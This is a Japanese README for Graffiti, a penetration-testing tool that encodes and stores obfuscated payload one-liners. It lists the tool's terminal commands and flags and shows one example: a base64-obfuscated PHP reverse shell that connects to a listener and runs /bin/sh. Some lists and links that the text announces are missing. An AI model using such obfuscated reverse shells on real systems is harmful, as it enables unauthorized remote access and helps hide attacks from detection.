
ペネトレーションテストを支援するために難読化されたワンライナーを生成するツール

Graffiti は、侵入テストの状況で使用する難読化されたワンライナーを生成するツールです。Graffiti は以下の言語でのエンコードに対応しています:
Graffiti は現在リストにない言語も受け入れ、ワンライナーをデータベースに保存します。
Graffiti にはデータベースが付属しており、エンコードされた各ペイロードをそのデータベースに挿入することで、エンドユーザーが将来使用するために既に作成されたペイロードを表示できるようになります。ペイロードは以下の手法でエンコードできます:
Graffiti の機能の一部は以下の通りです:
Graffiti には組み込みターミナルが付属しており、プログラムにフラグを渡さないとターミナルにドロップインします。ターミナルには履歴、外部コマンドの実行機能、独自の内部コマンドがあります。ヘルプを表示するには help または ? と入力するだけです:
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.1)
no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
root@graffiti:~/graffiti# ?
Command Description
--------- --------------
help/? Show this help
external List available external commands
cached Display all payloads that are already in the database
list/show List all available payloads
search <phrase> Search for a specific payload
use <payload> <coder> Use this payload and encode it using a specified coder
info <payload> Get information on a specified payload
check Check for updates
history Display command history
exit/quit Exit the terminal and running session
encode <script-type> <coder> Encode a provided payload
root@graffiti:~/graffiti# help
Command Description
--------- --------------
help/? このヘルプを表示
external 利用可能な外部コマンドを一覧表示
cached データベース内の既存のペイロードをすべて表示
list/show 利用可能なペイロードをすべて一覧表示
search <phrase> 特定のペイロードを検索
use <payload> <coder> このペイロードを指定されたコーダーでエンコードして使用
info <payload> 指定されたペイロードの情報を取得
check アップデートを確認
history コマンド履歴を表示
exit/quit ターミナルと実行中のセッションを終了
encode <script-type> <coder> 提供されたペイロードをエンコード
Graffiti には、ペイロードを素早くエンコードする必要がある場合のコマンドライン引数も用意されています:
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
optional arguments:
-h, --help このヘルプメッセージを表示して終了
-c CODEC, --codec CODEC
エンコード手法を指定(デフォルト=None)
-p PAYLOAD, --payload PAYLOAD
使用するペイロードへのパスを渡す(デフォルト=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
ペイロードファイルを作成し、./etc/payloads に保存(デフォルト=None)
-l, --list 利用可能なペイロードをパスで一覧表示(デフォルト=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
エンコードに使用する独自のペイロードを渡す(デフォルト=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
ペイロードで使用するリッスンアドレスを渡す(必要な場合)(デフォルト=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
ペイロードで使用するリッスンポートを渡す(必要な場合)(デフォルト=None)
-u URL, --url URL ペイロードで必要な場合にURLを渡す(デフォルト=None)
-vC, --view-cached データベース内の既存のキャッシュデータを表示
-H, --no-history コマンド履歴を保存しない(デフォルト=True)
-W, --wipe データベースと履歴を消去(デフォルト=False)
--memory データベースを .db ファイルではなくメモリ上で初期化(デフォルト=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
さらに外部コマンドを渡す。これによりターミナル内でアクセス可能になる。コマンドは PATH に含まれている必要がある(デフォルト=None)
ペイロードのエンコードは次のように簡単です:
root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------
php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------
Graffiti のデモはこちらでご覧いただけます:
Linux、Mac、Windows のどのシステムでも、Graffiti は外部パッケージをインストールしなくてもそのまま動作するはずです。Graffiti をシステムに実行可能ファイルとしてインストールする場合(正常に動作させるには Linux または Mac を使用している必要があります)、以下の手順を実行するだけです:
./install.sh
これにより、Graffiti がシステムにインストールされ、どこからでも実行できるようになります。
バグや問題を見つけた場合は、こちらで詳細を添えて issue を作成してください。よろしくお願いいたします。